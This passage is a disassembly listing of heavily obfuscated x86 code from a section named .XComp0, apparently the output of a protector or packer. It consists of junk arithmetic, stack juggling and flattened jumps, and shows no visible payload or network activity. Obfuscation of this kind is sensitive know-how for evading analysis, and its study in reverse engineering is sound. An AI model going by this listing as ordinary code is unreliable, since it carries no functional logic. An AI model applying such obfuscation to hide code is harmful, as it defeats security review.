[esp] pop ecx add esp, 4 push ecx jmp loc_58A348 ; --------------------------------------------------------------------------- loc_5853C1: ; CODE XREF: .XComp0:00591108j xchg edx, [esp] pop esp jmp loc_58B3EE ; --------------------------------------------------------------------------- loc_5853CA: ; CODE XREF: .XComp0:005953D4j pop esp push ebp mov ebp, esp add ebp, 4 jmp loc_584B56 ; --------------------------------------------------------------------------- loc_5853D9: ; CODE XREF: .XComp0:005873A5j add ebp, 5B5F0B16h mov ecx, [esp] add esp, 4 jmp loc_589547 ; --------------------------------------------------------------------------- loc_5853EA: ; CODE XREF: .XComp0:005951CDj pop ecx add edx, edi mov edi, [esp] add esp, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_591950 ; --------------------------------------------------------------------------- loc_58540A: ; CODE XREF: .XComp0:005881E2j sub ecx, esi pop esi xchg ecx, [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585421: ; CODE XREF: .XComp0:00590CF6j push 555F31E4h pop ebp sub ebp, 5150CFBBh mov edi, ebp pop ebp jmp loc_597649 ; --------------------------------------------------------------------------- loc_585435: ; CODE XREF: .XComp0:0058591Cj add esp, 4 sub esp, 4 mov [esp], edi push ecx push edx mov edx, 4C0E0461h mov ecx, edx pop edx shl ecx, 2 not ecx dec ecx push esi mov esi, 0A7F67F85h add ecx, esi jmp loc_596C1A ; --------------------------------------------------------------------------- loc_585461: ; CODE XREF: .XComp0:00586C7Aj add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], edi push 1868h mov [esp], ecx mov ecx, 642321CEh jmp loc_5967F4 ; --------------------------------------------------------------------------- loc_58547E: ; CODE XREF: .XComp0:0058D025j push eax jmp loc_593DF3 ; --------------------------------------------------------------------------- loc_585484: ; CODE XREF: .XComp0:00585319j mov [esp], esi push esi jmp loc_58621E ; --------------------------------------------------------------------------- loc_58548D: ; CODE XREF: .XComp0:0058CC90j push ebx jmp loc_5871C5 ; --------------------------------------------------------------------------- loc_585493: ; CODE XREF: .XComp0:0059070Aj push dword ptr [esp] pop esi add esp, 4 sub eax, 63850B08h sub eax, esi jmp loc_586FB2 ; --------------------------------------------------------------------------- loc_5854A6: ; CODE XREF: .XComp0:00591D20j sub ecx, 705723A8h push dword ptr [esp] jmp loc_593A4A ; --------------------------------------------------------------------------- loc_5854B4: ; CODE XREF: .XComp0:00591928j push 7630h mov [esp], esp push ecx push 4 mov ecx, [esp] add esp, 4 add [esp+4], ecx push dword ptr [esp] jmp loc_594496 ; --------------------------------------------------------------------------- loc_5854D7: ; CODE XREF: .XComp0:0058FB0Ej push edx mov edx, esi jmp loc_58E890 ; --------------------------------------------------------------------------- loc_5854DF: ; CODE XREF: .XComp0:0058C629j pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or [esp], ax pushf jmp loc_585A26 ; --------------------------------------------------------------------------- loc_5854F4: ; CODE XREF: .XComp0:00591FE1j mov esi, 4 mov edi, esi pop esi push ebx jmp loc_584C17 ; --------------------------------------------------------------------------- loc_585502: ; CODE XREF: .XComp0:0058FD75j add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_592744 ; --------------------------------------------------------------------------- loc_585517: ; CODE XREF: .XComp0:005926F5j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59508D ; --------------------------------------------------------------------------- loc_58552B: ; CODE XREF: .XComp0:00591324j add esi, 4 push edi mov edi, 4 jmp loc_593C42 ; --------------------------------------------------------------------------- loc_58553C: ; CODE XREF: .XComp0:00593409j add dword ptr [esp], 4 jmp loc_585330 ; --------------------------------------------------------------------------- loc_585545: ; CODE XREF: .XComp0:0058FE58j mov bh, 76h jmp loc_58D65D ; --------------------------------------------------------------------------- loc_58554C: ; CODE XREF: .XComp0:00589644j ; DATA XREF: .XComp0:00452E4Co mov ecx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_597C2F ; --------------------------------------------------------------------------- loc_585563: ; CODE XREF: .XComp0:005961EEj pop edi push eax jmp loc_59374D ; --------------------------------------------------------------------------- loc_58556A: ; CODE XREF: .XComp0:00588F51j mov [esp], ecx push ebx mov bh, 2Eh mov cl, 63h add cl, bh pop ebx shl cl, 3 add cl, 0FFh push ax mov ah, 0F6h push ebx mov bl, 10h jmp loc_598CCB ; --------------------------------------------------------------------------- loc_585587: ; CODE XREF: .XComp0:005919C0j add eax, 4 add eax, 4 jmp loc_58A234 ; --------------------------------------------------------------------------- loc_585596: ; CODE XREF: .XComp0:0058905Aj push dword ptr [esp+4] jmp loc_596C69 ; --------------------------------------------------------------------------- loc_58559F: ; CODE XREF: .XComp0:0058D903j mov ecx, 6A7C2F81h jmp loc_593BC1 ; --------------------------------------------------------------------------- loc_5855A9: ; CODE XREF: .XComp0:0058FD0Cj push dword ptr [esp] pop eax jmp loc_58B4FA ; --------------------------------------------------------------------------- loc_5855B2: ; CODE XREF: .XComp0:00587BBCj mov edx, 5EB93100h xor edx, 63E36A89h add edx, 49D94BE2h not edx xor edx, 614AFDEFh sub ebp, edx jmp loc_594674 ; --------------------------------------------------------------------------- loc_5855D2: ; CODE XREF: .XComp0:00588E98j mov esp, [esp] mov edx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_596347 ; --------------------------------------------------------------------------- loc_5855E5: ; CODE XREF: .XComp0:00596AA7j add edx, ecx add edx, 71022B64h sub edx, 23615A7Fh pop ecx push ecx push 35591443h pop ecx push edx mov edx, 0CAA6EBC1h add ecx, edx pop edx add edx, ecx mov ecx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_594872 ; --------------------------------------------------------------------------- loc_58561D: ; CODE XREF: .XComp0:0058CC54j mov ecx, edx pop edx sub edi, 7DEE64BCh add edi, ecx add edi, 7DEE64BCh mov ecx, [esp] push ebp mov ebp, esp jmp loc_59506F ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] jmp loc_58B1BE ; --------------------------------------------------------------------------- loc_585645: ; CODE XREF: .XComp0:00594960j xor [esp], ecx xor ecx, [esp] jmp loc_593D0D ; --------------------------------------------------------------------------- loc_585650: ; CODE XREF: .XComp0:00599040j add esp, 4 sub esp, 4 mov [esp], ecx push ebx mov ebx, 4 mov ecx, ebx jmp loc_58F05C ; --------------------------------------------------------------------------- loc_585669: ; CODE XREF: .XComp0:0058A965j mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5939B2 ; --------------------------------------------------------------------------- loc_585683: ; CODE XREF: .XComp0:0058CAFDj mov esi, [esp] jmp loc_58E713 ; --------------------------------------------------------------------------- loc_58568B: ; CODE XREF: .XComp0:00590264j add esp, 4 add ebp, 2 push eax mov eax, esp add eax, 4 jmp loc_583C07 ; --------------------------------------------------------------------------- loc_5856A4: ; CODE XREF: .XComp0:00589559j push 328Ch mov [esp], edi mov edi, 4 push ebx mov ebx, 48736C33h sub edx, ebx pop ebx sub edx, edi push esi mov esi, 19DD323Eh or esi, 79EA5FD7h dec esi xor esi, 5F380605h push ebx mov ebx, 50B60B41h jmp loc_593E94 ; --------------------------------------------------------------------------- loc_5856DA: ; CODE XREF: .XComp0:005886A8j push 59ECh mov [esp], ebp mov ebp, 1A101102h inc ebp push eax mov eax, 59827E3h shl eax, 6 push ebp mov ebp, 4BC77EBBh shl ebp, 2 xor ebp, 2D4025Eh sub ebp, 7477DDCFh add eax, ebp pop ebp jmp loc_58C077 ; --------------------------------------------------------------------------- loc_58570E: ; CODE XREF: .XComp0:00584BE5j push 4 pop ebx jmp loc_5980FD ; --------------------------------------------------------------------------- loc_585719: ; CODE XREF: .XComp0:00589A6Ej xchg eax, esi pop esi shl eax, 3 xor eax, 5B4B31C2h mov ebp, eax pop eax xor ebp, ebx pop ebx sub ebp, edx pop edx push 1D44h mov [esp], edi mov edi, 30692E6Ch inc edi push edi jmp loc_585DE6 ; --------------------------------------------------------------------------- loc_585740: ; CODE XREF: .XComp0:00591318j xchg edi, [esp] pop esp jmp loc_5872FB ; --------------------------------------------------------------------------- loc_585749: ; CODE XREF: .XComp0:005978FDj push edi jmp loc_58DA11 ; --------------------------------------------------------------------------- loc_58574F: ; CODE XREF: .XComp0:00598EE1j push esp push dword ptr [esp] pop ecx jmp loc_5889D4 ; --------------------------------------------------------------------------- loc_585759: ; CODE XREF: .XComp0:0058E703j add di, 0D82Ah add ax, di pop edi jmp loc_58E12C ; --------------------------------------------------------------------------- loc_585767: ; CODE XREF: .XComp0:0058434Cj xchg esi, [esp] pop esp mov [esp], edi mov edi, 7CF93537h add ebx, edi pop edi sub ebx, 35555392h jmp loc_589433 ; --------------------------------------------------------------------------- loc_585781: ; CODE XREF: .XComp0:0058CBC3j neg ebx xor ebx, 18A22FBh xor ebx, 730C1EE7h shl ebx, 1 or ebx, 68001CAAh sub ebx, 6E17BFEAh add ecx, ebx pop ebx push 1C6Bh mov [esp], ebp mov ebp, 2 add ecx, 35394Dh add ecx, ebp sub ecx, 35394Dh mov ebp, [esp] add esp, 4 jmp loc_584823 ; --------------------------------------------------------------------------- loc_5857C6: ; CODE XREF: .XComp0:0058ED01j pop edx add esi, 29330EB6h add esi, 15429C5h add esi, ecx sub esi, 15429C5h jmp loc_59688C ; --------------------------------------------------------------------------- loc_5857E0: ; CODE XREF: .XComp0:0058A40Dj pop edi jmp loc_58B907 ; --------------------------------------------------------------------------- loc_5857E6: ; CODE XREF: .XComp0:005884E0j mov ecx, [esp] add esp, 4 push ebx mov ebx, 1C20123h push edx mov edx, 0F258A28Dh sub ebx, edx mov edx, [esp] add esp, 4 jmp loc_593348 ; --------------------------------------------------------------------------- loc_585808: ; CODE XREF: .XComp0:0058A001j mov eax, 4 jmp loc_5938F5 ; --------------------------------------------------------------------------- loc_585812: ; CODE XREF: .XComp0:005890F6j sub eax, 0CBCA17A5h xor ebx, eax pop eax and ebx, 1E7A3FBCh or ebx, 2B57059Ah xor ebx, 3F57259Ah add ebp, ebx pop ebx jmp loc_58FD7A ; --------------------------------------------------------------------------- loc_585834: ; CODE XREF: .XComp0:0059657Dj mov bl, 0B5h shr bl, 8 jmp loc_59610B ; --------------------------------------------------------------------------- loc_58583E: ; CODE XREF: .XComp0:00592770j sub eax, 241913C6h add eax, 3ACC1292h jmp loc_590DA5 ; --------------------------------------------------------------------------- loc_58584D: ; CODE XREF: .XComp0:0058FC2Bj push dword ptr [esp] pop edx push edi jmp loc_58F4B1 ; --------------------------------------------------------------------------- loc_585857: ; CODE XREF: .XComp0:0058F14Bj mov ebx, [esp] push ebp mov ebp, esp push ecx mov ecx, 4D175C79h sub ecx, 65BF76C7h shl ecx, 4 jmp loc_5878EE ; --------------------------------------------------------------------------- loc_585871: ; CODE XREF: .XComp0:00594991j mov esi, edx pop edx xor esi, eax pop eax push ecx mov ecx, 78D239CFh xor ecx, 5A6335AFh sub eax, ecx pop ecx add eax, esi jmp loc_58B635 ; --------------------------------------------------------------------------- loc_58588D: ; CODE XREF: .XComp0:0058B4F5j add edi, 54AE0C09h push eax mov eax, edi mov ebp, eax pop eax jmp loc_58416E ; --------------------------------------------------------------------------- loc_58589E: ; CODE XREF: .XComp0:00593A12j pop esi mov esi, [esp] add esp, 4 xor edi, [esp] jmp loc_59523A ; --------------------------------------------------------------------------- loc_5858AD: ; CODE XREF: .XComp0:00595C42j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add al, dh mov edx, [esp] add esp, 4 push edx mov dl, al push eax mov ah, dl mov cl, ah jmp loc_58776A ; --------------------------------------------------------------------------- loc_5858CE: ; CODE XREF: .XComp0:00585A21j mov [esp], edx push ebx mov bl, 89h push 435Fh mov [esp], ebx mov bh, 37h jmp loc_58BBC1 ; --------------------------------------------------------------------------- loc_5858E3: ; CODE XREF: .XComp0:0058AAEBj push edx mov edx, 526659B0h shr edx, 2 neg edx dec edx not edx and edx, 0C3F0F9Ch push eax mov eax, 147A237Eh xor edx, eax pop eax sub edx, 0D63E0DA8h push edx pop ebx pop edx jmp loc_594B72 ; --------------------------------------------------------------------------- loc_58590E: ; CODE XREF: .XComp0:0058FC33j xor ecx, [esp] jmp loc_5962C8 ; --------------------------------------------------------------------------- loc_585916: ; CODE XREF: .XComp0:0058CA96j or edx, eax push dword ptr [esp] pop eax jmp loc_585435 ; --------------------------------------------------------------------------- loc_585921: ; CODE XREF: .XComp0:00584B51j not edx shr edx, 2 jmp loc_58DDA3 ; --------------------------------------------------------------------------- loc_58592B: ; CODE XREF: .XComp0:00588127j pop esp mov [esp], edx jmp loc_583AA1 ; --------------------------------------------------------------------------- loc_585934: ; CODE XREF: .XComp0:0058D0A9j sub esp, 4 mov [esp], eax jmp loc_5942E2 ; --------------------------------------------------------------------------- loc_58593F: ; CODE XREF: .XComp0:0058AC2Bj mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push esi jmp loc_591D25 ; --------------------------------------------------------------------------- loc_585954: ; CODE XREF: .XComp0:00583C02j push ecx jmp loc_58F150 ; --------------------------------------------------------------------------- loc_58595A: ; CODE XREF: .XComp0:0058FCACj dec word ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585964: ; CODE XREF: .XComp0:0058F39Bj pop dword ptr [esp] pop esp mov [esp], edx mov edx, 43AE3F9Bh jmp loc_593DC7 ; --------------------------------------------------------------------------- loc_585975: ; CODE XREF: .XComp0:0058F534j xor ebp, edx pop edx and ebp, 2C3C4497h jmp loc_58874C ; --------------------------------------------------------------------------- loc_585983: ; CODE XREF: .XComp0:00596CD8j inc edi dec edi and edi, 276B7140h dec edi add edi, 671035B6h add ebp, edi pop edi shr ebp, 4 sub ebp, 0F75132BCh add eax, ebp pop ebp add esi, 3CC346EFh add esi, 13193C28h add esi, eax sub esi, 13193C28h jmp loc_5862F6 ; --------------------------------------------------------------------------- loc_5859BA: ; CODE XREF: .XComp0:0059436Cj mov edx, [esp] add esp, 4 mov ebx, eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_58F592 ; --------------------------------------------------------------------------- loc_5859DD: ; CODE XREF: .XComp0:00586E70j and ebx, 424C1C4Bh sub ebx, 40481405h mov ebp, ebx jmp loc_597EE7 ; --------------------------------------------------------------------------- loc_5859F0: ; CODE XREF: .XComp0:0058D03Bj mov edx, [esp] add esp, 4 jmp loc_5961F3 ; --------------------------------------------------------------------------- loc_5859FE: ; CODE XREF: .XComp0:00586268j push 35A8h mov [esp], eax mov eax, 73FF74A1h shr eax, 7 push edx jmp loc_594F46 ; --------------------------------------------------------------------------- loc_585A14: ; CODE XREF: .XComp0:005895CBj pop ebx and [edi+1Ch], esi mov esi, [esp] jmp loc_594EE0 ; --------------------------------------------------------------------------- loc_585A20: ; CODE XREF: .XComp0:00585CCFj pop esp jmp loc_5858CE ; --------------------------------------------------------------------------- loc_585A26: ; CODE XREF: .XComp0:005854EFj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585A2B: ; CODE XREF: .XComp0:00596D2Dj sub ebx, 60274F91h sub ebx, edx add ebx, 60274F91h push eax push ecx mov ecx, 70824BECh add ecx, 0DE2E18D9h mov eax, ecx mov ecx, [esp] add esp, 4 jmp loc_58EBD3 ; --------------------------------------------------------------------------- loc_585A53: ; CODE XREF: .XComp0:00598CD9j push ebx mov ebx, 339E6751h push ebx mov esi, [esp] add esp, 4 jmp loc_5905E9 ; --------------------------------------------------------------------------- loc_585A68: ; CODE XREF: .XComp0:0058A1C4j xor cl, 0E2h mov dh, cl jmp loc_595C47 ; --------------------------------------------------------------------------- loc_585A72: ; CODE XREF: .XComp0:0058C156j pop esi jmp loc_5974FA ; --------------------------------------------------------------------------- loc_585A78: ; CODE XREF: .XComp0:00584B8Cj add edx, eax pop eax jmp loc_58DE13 ; --------------------------------------------------------------------------- loc_585A80: ; CODE XREF: .XComp0:00586E9Aj mov edx, esp add edx, 4 jmp loc_589851 ; --------------------------------------------------------------------------- loc_585A8D: ; CODE XREF: .XComp0:00596048j mov ecx, [esp] jmp loc_5877EC ; --------------------------------------------------------------------------- loc_585A95: ; CODE XREF: .XComp0:00597FE6j xor edx, 0F9EFEDD8h add ebx, edx pop edx add ebx, 735517A3h pop edx add ebx, 53371A5Ah jmp loc_586AA4 ; --------------------------------------------------------------------------- loc_585AB0: ; CODE XREF: .XComp0:00594EDBj push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_588851 ; --------------------------------------------------------------------------- loc_585ACB: ; CODE XREF: .XComp0:00591889j pop dword ptr [esp] mov esp, [esp] push 3E17h mov [esp], esi push 1FF0h mov [esp], edi mov edi, 7535524Eh add edi, 4391ED0h mov esi, edi pop edi neg esi push ebx mov ebx, 0DB67C64h jmp loc_58BD9C ; --------------------------------------------------------------------------- loc_585AFC: ; CODE XREF: .XComp0:0058DCD1j push ebx mov ebx, 4 jmp loc_597199 ; --------------------------------------------------------------------------- loc_585B07: ; CODE XREF: .XComp0:005907C5j pop ecx push 5F8Eh mov [esp], edi push dword ptr [esp+4] jmp loc_5875BA ; --------------------------------------------------------------------------- loc_585B19: ; CODE XREF: .XComp0:00587182j add ebx, edi add ebx, 0C6F5E4Ch pop edi push ebx push dword ptr [esp+4] jmp loc_5847E7 ; --------------------------------------------------------------------------- loc_585B2C: ; CODE XREF: .XComp0:00592D4Fj push ecx push edx mov dl, 0CBh mov ch, 4Dh sub ch, dl pop edx add ch, 0D4h xor dh, ch jmp loc_587612 ; --------------------------------------------------------------------------- loc_585B3F: ; CODE XREF: .XComp0:00591348j sub esp, 4 mov [esp], eax push esp pop eax jmp loc_584246 ; --------------------------------------------------------------------------- loc_585B4C: ; CODE XREF: .XComp0:0059006Cj sub esi, 4F6C70EEh push eax mov eax, 4A3A3BEAh jmp loc_5880C8 ; --------------------------------------------------------------------------- loc_585B5D: ; CODE XREF: .XComp0:0058D6E7j add edi, esi jmp loc_590930 ; --------------------------------------------------------------------------- loc_585B64: ; CODE XREF: .XComp0:00585090j pop esi push dword ptr [esp] pop ebx push edi push esp pop edi push eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_58A868 ; --------------------------------------------------------------------------- loc_585B8B: ; CODE XREF: .XComp0:0059233Dj pop edx mov dh, al pop ax push ebx mov bl, 7Ch jmp loc_5880C1 ; --------------------------------------------------------------------------- loc_585B98: ; CODE XREF: .XComp0:0058B218j pop edi add esi, 2A1F11h add esi, edx sub esi, 2A1F11h pop edx push dword ptr [esp] jmp loc_5908C5 ; --------------------------------------------------------------------------- loc_585BB0: ; CODE XREF: .XComp0:0058A748j pop dword ptr [esp] mov esp, [esp] jmp loc_59256B ; --------------------------------------------------------------------------- loc_585BBB: ; CODE XREF: .XComp0:0058CF8Aj sub esp, 4 jmp loc_58DB0D ; --------------------------------------------------------------------------- loc_585BC6: ; CODE XREF: .XComp0:00596E67j sar byte ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585BCF: ; CODE XREF: .XComp0:00583F29j xchg edx, [esp] jmp loc_586B44 ; --------------------------------------------------------------------------- loc_585BD7: ; CODE XREF: .XComp0:005976AAj push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_585050 ; --------------------------------------------------------------------------- loc_585BE4: ; CODE XREF: .XComp0:00595FAFj sub edi, 11F0569Fh jmp loc_58ECB7 ; --------------------------------------------------------------------------- loc_585BEF: ; CODE XREF: .XComp0:0058AE4Aj push 69354CB3h pop ebp xor ebp, 465044E0h and ebp, 85B07E9h sub ebp, 51C058DCh xor ebp, 0C8519576h mov ebx, ebp pop ebp xor ebx, 185C7880h xor ebx, 25351188h sub ebp, ebx pop ebx xor ebp, 75555834h sub esp, 4 mov [esp], ecx mov ecx, 72A632CFh sub ecx, 6577D378h and ebp, ecx pop ecx sub ebp, 1 jmp loc_59815E ; --------------------------------------------------------------------------- loc_585C44: ; CODE XREF: .XComp0:005966C7j pop ecx jmp loc_596D8F ; --------------------------------------------------------------------------- loc_585C4A: ; CODE XREF: .XComp0:00597D4Ej add esp, 4 add eax, 4 push edx jmp loc_588EC9 ; --------------------------------------------------------------------------- loc_585C58: ; CODE XREF: .XComp0:005977FDj pop ebp shr edx, 5 sub edx, 5F0F725Ah not edx add edx, 8E4DB279h add edi, edx pop edx push 3A69h mov [esp], edx mov edx, edi jmp loc_58BB00 ; --------------------------------------------------------------------------- loc_585C7C: ; CODE XREF: .XComp0:00592B9Cj push 5A1Ch jmp loc_58F2B6 ; --------------------------------------------------------------------------- loc_585C86: ; CODE XREF: .XComp0:00584F56j pop eax pop ebx mov edx, [esp] add esp, 4 pop ecx jmp loc_5952B3 ; --------------------------------------------------------------------------- loc_585C97: ; CODE XREF: .XComp0:00589484j mov [esp], ecx jmp loc_58EF2A ; --------------------------------------------------------------------------- loc_585C9F: ; CODE XREF: .XComp0:005969DCj sub ebp, 662D321Ch mov ebx, [esp] push ecx mov ecx, esp jmp loc_594DA4 ; --------------------------------------------------------------------------- loc_585CB0: ; CODE XREF: .XComp0:00587DE0j add ebx, 1B7431D3h sub ebx, 19AD7E53h pop eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_585A20 ; --------------------------------------------------------------------------- loc_585CD4: ; CODE XREF: .XComp0:0058F542j shl ecx, 2 xor ecx, 50BE2D0Ah mov eax, ecx pop ecx xor eax, 7017550Eh add esi, 26DF6DDCh add esi, eax sub esi, 26DF6DDCh push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xchg esi, [esp] jmp loc_5865F9 ; --------------------------------------------------------------------------- loc_585D0A: ; CODE XREF: .XComp0:0058C9F7j add eax, 0FC9E6B83h jmp loc_58955E ; --------------------------------------------------------------------------- loc_585D14: ; CODE XREF: .XComp0:0058A729j pop ebp add ebp, 1674655Eh sub ebp, 16D3716Bh add eax, 6D056025h add eax, ebp push ebp mov ebp, 6BA412Ah xor ebp, 6BBF210Fh jmp loc_584C72 ; --------------------------------------------------------------------------- loc_585D39: ; CODE XREF: .XComp0:00592620j mov bh, al jmp loc_591F26 ; --------------------------------------------------------------------------- loc_585D40: ; CODE XREF: .XComp0:00584470j add esp, 4 push ebp push edi mov edi, 1EAF03C6h mov ebp, 0E150FC3Ch add ebp, edi pop edi sub esp, 4 mov [esp], edx mov edx, 2989498Bh add edi, edx mov edx, [esp] jmp loc_59221C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax push 147Fh mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_589212 ; --------------------------------------------------------------------------- loc_585D86: ; CODE XREF: .XComp0:00597D28j pop ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_58978F ; --------------------------------------------------------------------------- loc_585D9B: ; CODE XREF: .XComp0:0058D098j or ecx, 3C4766A9h shl ecx, 8 push edi jmp loc_584035 ; --------------------------------------------------------------------------- loc_585DAA: ; CODE XREF: .XComp0:00592085j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp shr eax, 0Bh xor ecx, eax jmp loc_5885CC ; --------------------------------------------------------------------------- loc_585DBE: ; CODE XREF: .XComp0:00589520j mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585DC6: ; CODE XREF: .XComp0:00592063j mov edi, esp push 658Dh mov [esp], ecx push edi push 66970B7Fh pop edi jmp loc_588D5E ; --------------------------------------------------------------------------- loc_585DDC: ; CODE XREF: .XComp0:0058714Cj add dh, 0B8h and al, dh jmp loc_58FA17 ; --------------------------------------------------------------------------- loc_585DE6: ; CODE XREF: .XComp0:0058573Bj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_594EAD ; --------------------------------------------------------------------------- loc_585DFC: ; CODE XREF: .XComp0:00587B75j push esp pop eax jmp loc_587ACA ; --------------------------------------------------------------------------- loc_585E03: ; CODE XREF: .XComp0:005936EBj mov ebx, ecx mov ecx, [esp] push ebx mov ebx, esp jmp loc_588E89 ; --------------------------------------------------------------------------- loc_585E10: ; CODE XREF: .XComp0:0058FDBFj xor edi, 3A11CD3h pop ebp sub edx, edi mov edi, [esp] add esp, 4 jmp loc_587024 ; --------------------------------------------------------------------------- loc_585E24: ; CODE XREF: .XComp0:005947C3j push ebx jmp loc_5873FE ; --------------------------------------------------------------------------- loc_585E2A: ; CODE XREF: .XComp0:00589FDEj push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_584932 ; --------------------------------------------------------------------------- loc_585E53: ; CODE XREF: .XComp0:00592A5Dj push 724739E0h pop edi add edi, 31762871h not edi jmp loc_58C9D3 ; --------------------------------------------------------------------------- loc_585E66: ; CODE XREF: .XComp0:005971FCj mov esi, 22272825h sub ebp, esi pop esi or edi, ebp pop ebp shl edi, 3 jmp loc_592436 ; --------------------------------------------------------------------------- loc_585E79: ; CODE XREF: .XComp0:00589B54j mov ebx, esp jmp loc_58DF4F ; --------------------------------------------------------------------------- loc_585E80: ; CODE XREF: .XComp0:00592BCBj pop edx dec edx add edx, 48AD0D18h inc edx add edx, 8EC976D0h mov ebx, edx pop edx sub eax, 59ED3DFEh jmp loc_598BD3 ; --------------------------------------------------------------------------- loc_585E9C: ; CODE XREF: .XComp0:005883D7j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_585EA1: ; CODE XREF: .XComp0:0058D314j add edi, 4 jmp loc_592D5D ; --------------------------------------------------------------------------- loc_585EAC: ; CODE XREF: .XComp0:0058632Aj shl ebp, 6 not ebp shr ebp, 3 jmp loc_584B16 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- jmp loc_592EF8 ; --------------------------------------------------------------------------- loc_585EC1: ; CODE XREF: .XComp0:00592E41j xchg edi, [esp] jmp loc_5917CA ; --------------------------------------------------------------------------- loc_585EC9: ; CODE XREF: .XComp0:00593AA7j sub ebx, 6192475Eh sub esp, 4 mov [esp], edx mov edx, ebx mov esi, edx pop edx pop ebx jmp loc_58CA3D ; --------------------------------------------------------------------------- loc_585EE3: ; CODE XREF: .XComp0:00585F3Dj mov ebx, 62ED65FFh sub ebx, 82E131Dh jmp loc_58E8E8 ; --------------------------------------------------------------------------- loc_585EF3: ; CODE XREF: .XComp0:00590028j dec ebp neg ebp xor ebp, 0F210DD3h push 23h mov [esp], ecx push eax mov eax, 2B186D8Ah mov ecx, eax pop eax jmp loc_58BB65 ; --------------------------------------------------------------------------- loc_585F12: ; CODE XREF: .XComp0:0059264Aj pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], edx mov edx, esp push ebx push 4 jmp loc_5917D0 ; --------------------------------------------------------------------------- loc_585F2F: ; CODE XREF: .XComp0:0058C33Fj xor ebx, [esp] pop esp sub esp, 4 mov [esp], ebp push ebx jmp loc_585EE3 ; --------------------------------------------------------------------------- loc_585F42: ; CODE XREF: .XComp0:005933E1j mov [esp], eax jmp loc_5902C8 ; --------------------------------------------------------------------------- loc_585F4A: ; CODE XREF: .XComp0:005936A3j mov ecx, [esp] add esp, 4 add ebx, 2E896EC9h jmp loc_590BFE ; --------------------------------------------------------------------------- lodsb add al, 63h jmp loc_591BFB ; --------------------------------------------------------------------------- loc_585F63: ; CODE XREF: .XComp0:00598F32j pop esi sub dword ptr [esp+8], 682F35B9h jmp loc_5988FB ; --------------------------------------------------------------------------- loc_585F71: ; CODE XREF: .XComp0:0058F4F0j push ecx jmp loc_597DEA ; --------------------------------------------------------------------------- loc_585F77: ; CODE XREF: .XComp0:0059116Ej mov ebp, 441F5930h xor edi, ebp pop ebp add ebp, edi mov edi, [esp] jmp loc_593ADD ; --------------------------------------------------------------------------- loc_585F89: ; CODE XREF: .XComp0:00597121j mov esp, [esp] mov [esp], ecx push ebx mov ebx, 3D9F6D29h or ebx, 42426BE1h jmp loc_59667D ; --------------------------------------------------------------------------- loc_585FA0: ; CODE XREF: .XComp0:005873CEj mov [esp], ebp mov ebp, 4 jmp loc_59463A ; --------------------------------------------------------------------------- loc_585FAD: ; CODE XREF: .XComp0:0058E6EEj add edx, 7DF60653h jmp loc_58661B ; --------------------------------------------------------------------------- loc_585FB8: ; CODE XREF: .XComp0:0058A112j shl esi, 6 add esi, 562E40EDh push eax jmp loc_588785 ; --------------------------------------------------------------------------- loc_585FC7: ; CODE XREF: .XComp0:00590F36j pop dword ptr [esp] push 124Eh mov [esp], edx mov edx, 4 add dword ptr [esp+4], 55FE4901h add [esp+4], edx sub dword ptr [esp+4], 55FE4901h pop edx pop eax push edx jmp loc_5922A3 ; --------------------------------------------------------------------------- loc_585FF3: ; CODE XREF: .XComp0:0058D8FBj mov ebx, esp add ebx, 4 jmp loc_593802 ; --------------------------------------------------------------------------- loc_586000: ; CODE XREF: .XComp0:005974F5j mov bx, [esp] push edi mov edi, esp push eax mov eax, 7C7161C4h sub eax, 79161BD8h or eax, 58AB0EB7h jmp loc_58B735 ; --------------------------------------------------------------------------- loc_58601C: ; CODE XREF: .XComp0:005933D6j dec ecx jmp loc_59067E ; --------------------------------------------------------------------------- loc_586022: ; CODE XREF: .XComp0:0058E75Fj pop dword ptr [esp] mov esp, [esp] push 6E07h mov [esp], eax mov eax, 522D2992h xor eax, 784766B9h sub eax, 2A6A4F0Fh add eax, 17DE1AACh add eax, edi sub eax, 17DE1AACh sub esp, 4 mov [esp], edx mov edx, 78DC25D1h dec edx not edx xor edx, 61A75361h dec edx and edx, 77D66505h push esi mov esi, 4A5C6BAEh dec esi add esi, 